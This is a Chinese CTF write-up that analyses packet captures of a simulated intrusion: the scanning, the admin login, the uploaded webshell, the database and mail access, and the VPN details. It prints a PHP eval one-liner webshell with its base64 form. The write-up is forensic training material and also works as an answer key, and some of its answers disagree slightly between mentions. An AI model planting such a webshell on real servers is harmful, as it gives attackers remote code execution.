安恒8月月赛多了个流量包分析,很好,铁三之后,很久没训练了,去玩玩呗。玩到比赛结束,不算很难,但说个实在话,分配的关卡有点不合理(给了两个vpn的包,只考一题,无语)。哦,对了,内附流量包下载链接。
先给个数据包下载地址:
题目背景
总关卡
某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器:
某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可):
某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:
某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码:
某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么:
某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少:
某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么:
某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么:edc123!@#
某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip:
某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password):
某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn,ip是多少:
解题过程
1、黑客使用的扫描器:awvs
这题猜的,之后分析了下,不难,也算是送分题,进去翻翻流量包,浏览一下就有了,很多下面这种格式
2、黑客扫描到的登陆后台是(相对路径即可):/admin/login.php?rec=login
这题,更是送分题,打开数据包,过滤下http
,86
分组请求的网站目录即是答案
3、黑客使用了什么账号密码登陆了web后台(形式: username/password):admin/admin!@#pass123
这里开始,就有点坑了,因为刚开始开头就有一个302
的重定向包,看了下,好像也没错,的确也是登录成功了
后面发现,不止有黑客的ip
,还有其他的ip
。通过大量404
请求,判断是黑客在扫目录,确认了下黑客ip
为192.168.94.59
,http.response.code==302&&ip.addr==192.168.94.59
过滤下,发现302
的包不是很多,标记一下,找下就好啦在最后一个response.code
等于302
的包找到了。所以,”人事”这个不是黑客登的,”admin
“才是(大意了,果然,三个月没玩数据包生疏了)
4、黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码:PD9waHAgQGV2YWwoJF9QT1NUWzEyMzRdKTs/Pg==
这题,贼鸡儿坑。这题是放到最后才蒙出来的。浏览webone.pcap
数据包的末尾,发现a.php
有猫咪,但是死活找不到它是如何上传的,最后,无可奈何,既然有1234
为传递值,构造了个一句话木马:<?php @eval($_POST[1234]);?> ,然后提交base64
编码,过了!过了!……..
赛后仔细找了找,找到了 ,但是非常奇怪,为什么这个出现在tcp
流里面,我在http
流里面压根没找到这个html
,过滤语句tcp contains "<?php @eval"
(如果以后http
不行,那就试试tcp
,可能是tcp
重传的原因,导致http
中没追踪到)
下面是手动筛选tcp
流的方式
5、黑客在robots.txt中找到的flag是什么:87b7cb79481f317bde90c116cf36084b
浏览webone.pcap
数据包的末尾,查看众多a.php
的执行命令的响应即可找到答案。
6、黑客找到的数据库密码是多少:e667jUPvJjXHvEUv
依旧浏览webone.pcap
数据包的末尾,查看下响应的包,即可找到答案
7、黑客在数据库中找到的hash_code是什么:d1c029893df40cb0f47bcf8f1c3c17ac
接着打开webtwo.pcap
数据包,查看下前面几个mysql
请求和响应,即可找到答案
8、:黑客破解了账号ijnu@test.com得到的密码是什么:edc123!@
这里有了点小技巧,直接将这个邮箱化为相应的字符串16
进制值,直接查找
然后MD5解密下,得到答案
9、被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip:10.3.3.100
这里有回到了webone.pcap
数据包,依旧浏览webone.pcap
数据包的末尾,查看下响应的包,即可找到答案
10、黑客使用了什么账号登陆了mail系统(形式: username/password):admin/admin!@#pass123
这题需要看mailtwo.pcap
和mailtwo1.pcap
两个数据包。
首先在mailtwo.pcap
中过滤http
,序号3
的Cookie
中就发现 login_name=wenwenni
字段,并且是action=logout
。
继续跟进,发现下一个序号是28
分组,又到了登陆界面的35
分组,在其中发现了密码的加密函数:
取出来发现是AES
的CBC
加密,填充格式为ZeroPadding
,密钥为字符串1234567812345678
的hash
值,偏移量为1234567812345678
1 | var key_hash = CryptoJS.MD5('1234567812345678'); |
因刚退出,所以是根据cookie
中的信息登陆的,在下一请求42
分组对应的45
分组中出现{"success":true}
,表示登陆成功。
既然如此,我们使用(http contains "{\"success\":true}" or http.request.method=="POST") and ip.addr==192.168.94.59
过滤一下,显示出post
请求及成功的返回结果,l浏览一下发现是在爆破,并且到mailtwo.pcap
的最后也未爆破成功。相同的过滤条件上在mailtwo1.pcap
上试试,发现几条数据,从后往前看,发现18152
是登陆成功的返回结果,那对应的17126
则就是正确的加密后的密码。
那么解密网址进行aes
解密即可得到admin
账号的密码。此题最终答案即为:admin/admin!@#PASS123
此题,据说还有一种方法:社工。但是个人认为并不合理,此题答案跟第三题答案碰巧一样罢了,因为两个关卡的源服务器ip
并不一样。
11、黑客获得的vpn,ip是多少:10.3.4.3
这题其实只需要vpn
的第一个包就行了,百度学习一波vpn
包相关协议,收益匪浅(吐槽下,安恒的直播课真的需要讲点干货,别为了解题而解题啊,让人家直接去一个一个试内网的ip
,这不是很好吧)
这里留两个链接供参考学习:
结语
数据包分析还是很有意思的,个人计划着来一波数据协议的实验分析,可能会有点复杂,但是其中的乐趣也是无穷,有兴趣的小伙伴请联系我,一起学习!